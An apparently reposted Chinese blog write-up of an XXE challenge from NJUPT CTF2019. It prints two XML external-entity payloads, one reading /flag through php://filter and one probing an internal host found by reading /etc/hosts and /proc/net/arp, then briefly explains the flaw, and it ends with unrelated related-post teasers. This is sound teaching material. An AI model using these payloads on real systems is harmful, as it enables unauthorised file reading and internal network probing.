关于XXE「建议收藏」

关于XXE「建议收藏」NJUPTCTF2019:做题的时候,抓包看了一下,响应XML格式消息,并没有严格过滤,这道题读文件,<!DOCTYPEfoo[<!ENTITYxxeSYSTEM”php://filter/read=convert.base64-encode/resource=/flag”>]><ticket><username>&amp…

大家好,又见面了,我是你们的朋友全栈君。

NJUPT CTF2019:
在这里插入图片描述
做题的时候,抓包看了一下,响应XML格式消息,并没有严格过滤,这道题读文件,

<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag" >]>
<ticket>
<username>&xxe;</username>
<code>aaaa</code>
</ticket>

在这里插入图片描述
通过读取/etc/hosts以及/proc/net/arp,推测主机ip:192.168.1.8

<!DOCTYPE foo [
<!ENTITY  xxe SYSTEM "http://192.168.1.8/" >]>
<ticket>
<username>&xxe;</username>
<code>aaaa</code>
</ticket>

漏洞解释:
xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
常见的利用,就和上面的题一样,读文件,嗅探,Dos,Blind XXE

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/142474.html原文链接:https://javaforall.net

(0)
上一篇 2022年5月23日 下午6:00
下一篇 2022年5月23日 下午6:20


相关推荐

  • 详解C语言中的数组指针与指针数组

    详解C语言中的数组指针与指针数组·详解数组指针与指针数组·数组指针一、区分首先我们需要了解什么是数组指针以及什么是指针数组,如下图:int*p[5];int(*p)[5];数组指针的意思即为通过指针引用数组,p先和*结合,说明了p是一个指针变量,指向一个大小为5的数组。所以,int(*p)[5]即为一个数组指针。int*p[5]则是一个大小为5且存放整型指针的数组。二、数组元素的指针1.定…

    2022年7月27日
    8
  • ubuntu16.04安装opencv3.4.1教程

    ubuntu16.04安装opencv3.4.1教程最近 opencv3 4 1 发布了 想换个新的试试鲜 于是把配置的过程通过博文的方式记录下来 方便查阅 本教程原为 3 3 0 但经过博主亲测 3 4 0 3 4 1 皆适用 1 去官网下载 opencv 在本教程中选用的时 opencv3 4 1 其他版本的配置方法异曲同工 下载链接 http opencv org releases html 选择 sources 版本 2 解压下

    2026年3月19日
    1
  • mediapipe手部关键点检测原理

    mediapipe手部关键点检测原理

    2026年3月13日
    2
  • Python定义函数

    Python定义函数其他形式1:1、定义函数deftest4(a=()):print('################test4################')print(type(a

    2022年7月5日
    27
  • n8n AI Agent节点完全指南:从入门到精通

    n8n AI Agent节点完全指南:从入门到精通

    2026年3月15日
    2
  • ucGUI入门介绍

    ucGUI入门介绍ucGUI 功能 ucgUI 是一个图形库 API 你可以使用 LCD 底层的画点函数绘制一个图形 但是如果要绘制复杂的窗口 就可以使用这个图形库 nbsp nbsp nbsp nbsp nbsp nbsp nbsp ucgUI 是一种嵌入式应用中的图形支持系统 它设计用于为任何使用 LCD 图形显示的应用提供高效的独立于处理器及 LCD 控制器的图形用户接口 它适用单任务或是多任务系统环境 nbsp 并适用于任意 LCD 控制器和 CPU 下任何尺寸的真实显示或虚拟显示

    2026年3月18日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号